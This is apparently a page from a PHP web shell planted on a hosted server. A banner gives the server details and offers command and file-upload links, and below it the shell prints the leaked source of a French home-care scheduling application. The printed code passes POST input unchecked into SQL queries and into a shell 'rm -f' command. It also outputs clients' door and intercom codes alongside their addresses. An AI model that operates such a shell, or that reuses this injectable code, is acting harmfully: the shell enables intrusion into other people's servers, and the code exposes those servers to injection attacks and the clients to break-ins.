|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../MC/factures/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once 'code/init.php';
function jour_jouren2($jour,$get)
{
static $presta_jour ;
$from = $get ;
$presta_jour = array('nynnnnn' => $get, 'nnynnnn' => date("Ymd", strtotime("+1 day", strtotime($from))), 'nnnynnn' => date("Ymd", strtotime("+2 day", strtotime($from))), 'nnnnynn' => date("Ymd", strtotime("+3 day", strtotime($from))), 'nnnnnyn' => date("Ymd", strtotime("+4 day", strtotime($from))), 'nnnnnny' => date("Ymd", strtotime("+5 day", strtotime($from))), 'ynnnnnn' => date("Ymd", strtotime("+6 day", strtotime($from)))) ;
return $presta_jour[$jour] ;
}
function get_prest_sem( $interdispo,$from ,$to,$agence)
{
$id=0;
$p=array();
$db=debutsem(date('Y', strtotime($from)),date('m', strtotime($from)),date('d', strtotime($from)));
$dbto=debutsem(date('Y', strtotime($to)),date('m', strtotime($to)),date('d', strtotime($to)));
$fin=date('Ymd',int2time($dbto)+6*24*3600 );
while($db < $fin )
{
$and = date('Ymd',int2time($db)+6*24*3600 );
$presta_jour1 = array('nynnnnn' => '1', 'nnynnnn' => '2', 'nnnynnn' => '3', 'nnnnynn' => '4', 'nnnnnyn' => '5', 'nnnnnny' => '6', 'ynnnnnn' => '0') ;
$presta_jour2 = array('1' => 'nynnnnn', '2' => 'nnynnnn', '3' => 'nnnynnn', '4' => 'nnnnynn', '5' => 'nnnnnyn', '6' => 'nnnnnny', '0' => 'ynnnnnn') ;
// echo " ---> $db // $id \n ";
$q2 = dbi_query("SELECT p.* FROM ".TABLE_PREST." p, ".TABLE_CLIENT." c WHERE p.client_id=c.client_id and p.agence_id=$agence AND presta_date_debut <= $and AND (p.presta_date_fin >= $db OR p.presta_date_fin IS NULL) ");
while($prest = dbi_fetch_row($q2))
{
if($prest['presta_jour']== 'nnnnnnn' || $prest['presta_jour']== '' || $prest['presta_jour']== NULL )
$prest['presta_jour']=$presta_jour2[date("w",strtotime($prest['presta_date_fin']))];
$data = array('jour' => $prest['presta_jour'], 'deb' => $prest['presta_Hdeb'], 'duree' => $prest['presta_Hduree'], 'inter' => $prest['inter_id'], 'taux' => $prest['presta_forfait']) ;
// $q1 = dbi_query("SELECT * FROM ".TABLE_PRESTA_MODIF." WHERE presta_id = ".$prest['presta_id']." order by `start`, `date`") ;
$q1 = dbi_query("SELECT * FROM ".TABLE_PRESTA_MODIF." WHERE presta_id = ".$prest['presta_id']." AND start <= $and order by `start`, `date`") ;
// echo $prest['presta_jour'].' !! ';
while (($m = dbi_fetch_row($q1)) )
{
$jour = $m['jour'] === NULL ? $data['jour'] : $m['jour'] ;
$date=jour_jouren2($jour,$db);
if($date>=$m['start']) {
// if($m['start'] <= $to)
// {
$data['jour'] = $m['jour'] === NULL ? $data['jour'] : $m['jour'] ;
$data['deb'] = $m['Hdeb'] === NULL ? $data['deb'] : $m['Hdeb'] ;
$data['duree'] = $m['Hduree'] === NULL ? $data['duree'] : $m['Hduree'] ;
$data['inter'] = $m['inter_id'] === NULL ? $data['inter'] : $m['inter_id'] ;
$data['taux'] = $m['taux'] === NULL ? $data['taux'] : $m['taux'] ;
}
}
$jour=$data['jour'];
// echo $jour.' ++++ ';
if (in_array($data['inter'], $interdispo)) {
$heurefin=addDuree($data['deb'],$data['duree']);
// $qexcept=dbi_query("SELECT * FROM ".TABLE_EXCEPT." WHERE (date BETWEEN ".$from." AND ".$to.") AND date <= ".jour_jouren2($presta_jour1[$jour],$from)." AND presta_id=".$prest['presta_id']." ");
$qexcept=dbi_query("SELECT * FROM ".TABLE_EXCEPT." WHERE (date BETWEEN ".$db." AND ".$and.") AND presta_id=".$prest['presta_id']." ");
if($rr = dbi_fetch_row($qexcept)){
}
else{
// echo "!! ".$data['jour']." / $db !!";
$presta=array("presta_id" => $prest['presta_id'],"presta_desc" => $prest['presta_desc'] , "presta_date_debut" => $prest['presta_date_debut'] , "presta_Hdeb" => $data['deb'] , "presta_Hduree" => $data['duree'] , "presta_recur" => $prest['presta_recur'] , "presta_date_fin" => $prest['presta_date_fin'] , "presta_jour" => $jour , "presta_forfait" => $prest['presta_jour'] , "presta_forfaitHT" => $prest['presta_forfaitHT'], "presta_status" => $prest['presta_status'] , "presta_sem" => $prest['presta_sem'] , "client_id" => $prest['client_id'] , "inter_id" => $data['inter'] , "agence_id" => $prest['agence_id'], "date" => jour_jouren2($jour,$db));
$p[$id]= $presta;
++$id;
// array_push($p['id'],$id);
// array_push($p['deb'],$data['deb']);
// array_push($p['fin'],$heurefin);
// array_push($p['cli'],$prest['client_id']);
// array_push($p['duree'],$data['duree']);
// array_push($p['jour'],$data['jour']);
// array_push($p['inter'],$data['inter']);
}
}
}
// $inters[$db]=$inter;
// echo " ++ $db ---> $and // ";
// get_prest_sem( $interdispo ,$interjour, $inters[$db],$db ,$agence);
$db = date('Ymd',int2time($db)+7*24*3600 );
// $db = time2int(add_day(int2time($db),7) );
// echo " ???? $db <br/>";
}
// $to = time2int(int2time($from)+6*24*3600) ;
// echo " $from --> $to // "
// echo " !!!!!!!!!!!!!!!!! ";
// echo '<pre>';
// print_r($p);
// echo '</pre>';
return $p;
/*for( $numint=0 ; $numint < count($inters) ; $numint++ )
{
$inters[$numint]['presta']=array();
// echo $inters[$numint]['id'].' +++ ';
$interv=$inters[$numint]['id'];
$heures_contrat='';
$total=0;
for ( $j = 0 ; $j < count($p['id']);$j++)
{
if($p['inter'][$j]==$interv )
{
if( in_array($p['jour'][$j], $jourdispo))
{
// echo ' +++++++ '.$p['jour'][$j].' ! ';
// print_r($jourdispo);
// echo ' +++++++ '.$p['jour'][$j];
$debP=$p['deb'][$j];
$finP=$p['fin'][$j];
$client_idP=$p['cli'][$j];
$jourP=$presta_jour1[$p['jour'][$j]];
array_push($inters[$numint]['presta'],array( 'deb' => $debP, 'fin'=>$finP, 'cli' => array( '0' => $client_idP ),'jour'=>$jourP ));
}
$total+=$p['duree'][$j];
}
}
$heures_contrat=0;
$sql="SELECT contrat_heure FROM ".TABLE_CONTRAT." WHERE inter_id = ".$interv." AND agence_id = ".$agence." AND contrat_debut<=".$from." AND ( contrat_fin IS NULL OR contrat_fin >".$from." ) ORDER BY contrat_debut DESC";
list($heures_contrat)=dbi_fetch_row(dbi_query($sql));
$inters[$numint]['total']=$total/60;
$inters[$numint]['hcontrat']=$heures_contrat;
}*/
}
list($infore)=dbi_fetch_row(dbi_query("SELECT `value` FROM `config` WHERE `key`='inforech' AND agence_id='".$agence."'"));
$q = dbi_query("SELECT * FROM ".TABLE_CONFIG." WHERE agence_id=$agence") ;
$conf = array() ;
while($r = dbi_fetch_row($q))
$conf[$r['key']] = $r['value'] ;
define('HSTART', substr($conf['hstart'], 0, 2)*4+substr($conf['hstart'], 2, 2)/15) ;
define('HEND', substr($conf['hend'], 0, 2)*4+substr($conf['hend'], 2, 2)/15) ;
define('RIEN','FFFFFF'); //blanc
define('DISPO',$conf['dispo']); //vert
define('OCCUPE',$conf['prest']); //bleu
define('HORS_DISPO',$conf['presthd']); //orange
define('CHEVAUCHEMENT',$conf['prestc']); //rouge
define('RIEN_ABS',$conf['abs']); //gris
define('OCCUPE_ABS',$conf['prestabs']); //bleu-gris
define('CHEVAUCHEMENT_ABS',$conf['prestcabs']); //rouge-gris
$colors = array(RIEN, DISPO, OCCUPE, HORS_DISPO, CHEVAUCHEMENT, RIEN_ABS, OCCUPE_ABS, CHEVAUCHEMENT_ABS) ;
$from = date('Ymd') ;
$to = date('Ymd', mktime(0,0,0, date('m')+1, min(date('d'), cal_days_in_month(CAL_GREGORIAN, date('m')+1 == 13 ? 1 : date('m')+1, date('Y')+(date('m')+1 == 13 ? 1 : 0))), date('Y'))) ;
if(isset($_POST['inter'], $_POST['fromday'], $_POST['frommonth'], $_POST['fromyear'], $_POST['today'], $_POST['tomonth'], $_POST['toyear']))
{
if (isset($_POST['pdf'])) {
include 'includes/feuillerouteV222.php' ;
$interv = array() ;
if(!is_dir("feuillesroute/$agence"))
{
mkdir("feuillesroute/$agence") ;
chmod("feuillesroute/$agence", 0755) ;
}
shell_exec("rm -f feuillesroute/$agence/*") ;
$pre=array();
$from = getPostDate('from') ;
$to = getPostDate('to') ;
$pre=get_prest_sem( $_POST['inter'],$from,$to ,$agence);
// print_r($_POST['inter']);
// echo " $from ++++++++ $to ";
// echo '<pre>';
// print_r($pre);
// echo '</pre>';
foreach($_POST['inter'] as $inter)
{
// print_r($_POST['inter']);
$f = new FeuilleRoute($inter, $from, $to,$pre) ;
if($f->estutile())
{
$f->Output("feuillesroute/$agence/$inter.pdf", 'F') ;
$interv[] = "feuillesroute/$agence/$inter.pdf" ;
}
unset ($f);
}
// pdf_concatene marche pas en local
pdf_concatene($interv, "feuillesroute/$agence/fiches.pdf") ;
printf('<a href="feuillesroute/%s/fiches.pdf" target="_blank">%s</a>', $agence, 'Les feuilles de routes créées') ;
} else {
foreach($_POST['inter'] as $inter)
{
list($intervenant) = dbi_fetch_row(dbi_query("SELECT concat_ws(' ', inter_genre, inter_nom, inter_pnom) FROM ".TABLE_INTERV." WHERE inter_id = $inter")) ;
?>
<h1>Planning pour <?=$intervenant?></h1>
<h2>Période du <?=$_POST['fromday'].'/'.$_POST['frommonth'].'/'.$_POST['fromyear']?> au <?=$_POST['today'].'/'.$_POST['tomonth'].'/'.$_POST['toyear']?></h2>
<?php
/*$oneweek = 60*60*24*7;
$premier_jour = mktime(0,0,0,date("m"),date("d")-date("w")+1,date("Y"));
$d = $premier_jour;
for ($i = 0; $i < 52; $i++)
{
echo "<option value=\"".date("d-m-Y",$d)."\">";
echo date("d-m-Y",$d)." au ".date("d-m-Y", $d + $oneweek)."</option>";
$d += $oneweek;
}*/
$oneday = 60*60*24;
$oneweek = $oneday*7;
//$premier_jour = $from-(date('w',$from)-1)*$oneday;
$depuis = mktime(0,0,0,$_POST['frommonth'],$_POST['fromday'],$_POST['fromyear']);
$premier_jour = mktime(0,0,0,$_POST['frommonth'],$_POST['fromday']-date("w",$depuis)+1,$_POST['fromyear']);
$debut = date("Ymd",$premier_jour);
$fin = mktime(0,0,0,$_POST['tomonth'],$_POST['today'],$_POST['toyear']);
while ($premier_jour<=$fin) {
$_GET['date'] = $debut;
include 'code/planning.php' ;
$premier_jour += $oneweek;
$debut = date("Ymd",$premier_jour);
$last = array_fill(0, 6, 0) ;
print_header ();
?>
<table cellspacing="0" cellpadding="0" width="100%" border="0" class="cal">
<tr style="height:25px" class="tr_cal1">
<th class="cal"></th>
<?php
foreach($days as $dec => $nom)
if(substr_count($conf['jour'], ($dec+1)%7))
printf ('<th class="cal" width="%d%%">%s %s</th>', 100/strlen($conf['jour']), $nom, int2date($from+$dec, 'd / m')) ;
?>
</tr>
<?php
$last = array_fill(0, 6, 0) ;
$colors = array(RIEN, DISPO, OCCUPE, HORS_DISPO, CHEVAUCHEMENT, RIEN_ABS, OCCUPE_ABS, CHEVAUCHEMENT_ABS) ;
for($i = HSTART ; $i <= HEND ; $i++)
{
?>
<tr style="height:5px; font-size:10px">
<?php
if ($i%2 == 0)
echo ' <td rowspan="2" align="right" class="td_cal'.($i/2%2).'">'.sprintf("%02s:%02s", intval($i/4), (($i/4 - intval($i/4))*4*15)).'</td>' ;
for($d = 1 ; $d <= 7 ; $d++)
{
$j = $d%7 ;
if(substr_count ($conf['jour'], $j))
{
if($last[$j] == 0)
{
$rowspan = 1 ;
for($k = $i+1 ; !in_array($jours[$j][$i], array(0, 5)) && $k <= HEND && $jours[$j][$k] === $jours[$j][$i] && ($labels[$j][$i] == '' || ($labels[$j][$i] != '' && $labels[$j][$k] == '')) ; $k++, $rowspan++) ;
$last[$j] = $rowspan-1;
?>
<td nowrap="nowrap" rowspan="<?=$rowspan?>" valign="top" <?=$jours[$j][$i] == 0 ? 'class="td_cal'.($i/2%2).'" style="padding:5px" ' : ' style="padding:5px; '.(($colors[$jours[$j][$i]]==RIEN_ABS)?' background-color:#'.RIEN_ABS.'':'border: #'.$colors[$jours[$j][$i]].' thin solid').'; border-left:thick #'.$colors[$jours[$j][$i]].' solid;"'?>>
<?=$jours[$j][$i] == 1 ? sprintf("%02dh%02d - %s", intval($i/4), ($i/4 - intval($i/4))*4*15, int2heure(addDuree(sprintf("%02d%02d00", intval($i/4), ($i/4 - intval($i/4))*4*15), $rowspan*15))) : ($jours[$j][$i] ? $labels[$j][$i] : '')?>
</td>
<?php
}
else
$last[$j] -- ;
}
}
?>
<?php
}
?>
</table>
<table style="page-break-after : always;">
<?
$q = dbi_query("SELECT p.* FROM ".TABLE_PREST." p, ".TABLE_CLIENT." c WHERE p.client_id=c.client_id AND p.agence_id=$agence AND (p.inter_id=$inter OR EXISTS(SELECT * FROM ".TABLE_PRESTA_MODIF." pm WHERE pm.inter_id is not null AND p.presta_id = pm.presta_id AND inter_id = $inter)) AND p.presta_id NOT IN (SELECT DISTINCT new_presta_id FROM ".TABLE_EXCEPT." e, ".TABLE_PREST." p WHERE e.new_presta_id is not null AND e.presta_id=p.presta_id AND (inter_id = $inter OR EXISTS(SELECT * FROM ".TABLE_PRESTA_MODIF." pm WHERE pm.inter_id is not null AND p.presta_id = pm.presta_id AND inter_id = $inter)))");
$prestations = array() ;
while($p = dbi_fetch_row($q))
{
echo " $from ?????<br/>";
$pdate = get_occurence($p['presta_id'], 0, $from) ;
$last = 0 ;
$offset = 0 ;
$c = dbi_fetch_row(dbi_query("SELECT * FROM ".TABLE_CLIENT." WHERE client_id = ".$p['client_id'])) ;
$code = array() ;
if (!empty($c['client_digi1']))
$code[] = "D1 : ".$c['client_digi1'] ;
if (!empty($c['client_digi2']))
$code[] = "D2 : ".$c['client_digi2'] ;
if (!empty($c['client_digi3']))
$code[] = "D3 : ".$c['client_digi3'] ;
if (!empty($c['client_interphone']))
$code[] = "I : ".$c['client_interphone'] ;
$info = '' ;
if (!empty($p['presta_desc']))
$info .= "Infos presta. : ".$p['presta_desc']."\n" ;
if(!empty($c['client_adr_sup']))
$info .= "Infos client : ".$c['client_adr_sup']."\n" ;
$complement = dbi_query("SELECT * FROM ".TABLE_COMP." c, ".TABLE_CLIC." a WHERE a.agence_id=$agence AND a.auto_id = c.auto_id AND c.client_id=".$c['client_id']) ;
if(mysql_num_rows($complement) > 0)
{
$info .= "Infos compl. :" ;
while($comp = dbi_fetch_row($complement))
$info .= "\n - ".$comp['label']." :\n".$comp['text'] ;
$info .= "\n" ;
}
$client = $c['client_genre'].' '.strtoupper($c['client_nom']).' '.ucwords(strtolower($c['client_pnom'])) ;
$adresse = $c['client_adr1'].(!empty($c['client_adr2']) ? " ".$c['client_adr2'] : '').(!empty($c['client_adr3']) ? " ".$c['client_adr3'] : '').
(!empty($c['client_bat']) ? " Bat. ".$c['client_bat'] : '').(!empty($c['client_etage']) ? " Etage ".$c['client_etage'] : '').
(!empty($c['client_porte']) ? " Porte ".$c['client_bat'] : '').' '.$c['client_cp'].' '.$c['client_ville'] ;
while($pdate && $pdate['date'] >= $from && $pdate['date'] <= $to)
{
if($pdate['inter']==$inter) {
$heure = int2heure($pdate['deb']).' - '.int2heure(addduree($pdate['deb'], $pdate['duree'])) ;
$prestations[sprintf('%08d%06d%06d',$pdate['date'],$pdate['deb'],addduree($pdate['deb'], $pdate['duree']))] = array (
'heure' => $heure, 'client' => $client, 'adresse' => $adresse, 'code' => $code, 'info' => $info) ;
}
if($last == $pdate['date'])
$offset ++;
else
$offset = 0 ;
$last = $pdate['date'] ;
$pdate = get_occurence($p['presta_id'], 1+$offset, $pdate['date']) ;
}
}
ksort($prestations) ;
$jour = 0 ;
foreach($prestations as $id => $p)
{
$day = substr($id, 0, 8) ;
// echo "++ $jour // $day ++ ";
if($jour != $day)
{
echo '<tr>';
echo '<td colspan="4"><h3>Prestation du '.int2date($day).'</h3></td>';
echo '</tr>';
}
echo '<tr>';
echo '<td>'.$p['heure'].'</td>';
echo '<td>'.$p['client'].'</td>';
echo '<td>'.join(', ', $p['code']).'</td>';
echo '<td>'.$p['adresse'].'</td>';
echo '</tr>';
if(!empty($p['info'])) {
echo '<tr>';
echo '<td colspan="4">'.$p['info'].'</td>';
echo '</tr>';
}
$jour=$day;
}
// echo " $from !!!! <br/>";
?>
</table>
<?
}
}
}
}
if (empty($_POST) || isset($_POST['pdf'])) {
print_header ();
?>
<form name="fiche" method="post" action="" style="page-break-after : always;" id="NoPrint">
<table>
<tr>
<td>Du : </td>
<td colspan="2"><?php print_date_selection('from', $route_du) ;?></td>
</tr>
<tr>
<td>Au : </td>
<td colspan="2"><?php print_date_selection('to', $route_au) ;?></td>
</tr>
<tr>
<td valign="top">Intervenants : </td>
<td valign="top"><?=get_intervenants_drop_down('inter[]', 'multiple', @$_POST['inter'], false)?></td>
<td valign="top"><a onclick="var select = document.fiche.elements[8].options ; for(i = 0 ; i < select.length ; i++) select[i].selected = true; return false" href="">Sélectionner tout</a><br />
<a onclick="var select = document.fiche.elements[8].options ; for(i = 0 ; i < select.length ; i++) select[i].selected = false; return false" href="">Désélectionner tout</a></td>
</tr>
<tr>
<td colspan="2" align="right">Version PDF<input type="checkbox" name="pdf" /></td>
<td> </td>
</tr>
<tr>
<td colspan="2" align="right"><input type="submit" class="bigbutton" value="Créer" onClick="if (!this.form.pdf.checked) { this.form.target = '_blank'; this.form.submit(); return false; };this.disabled=true;this.form.submit();"></td>
<td> </td>
</tr>
</table>
</form>
<?
}
?>
</body>
</html>
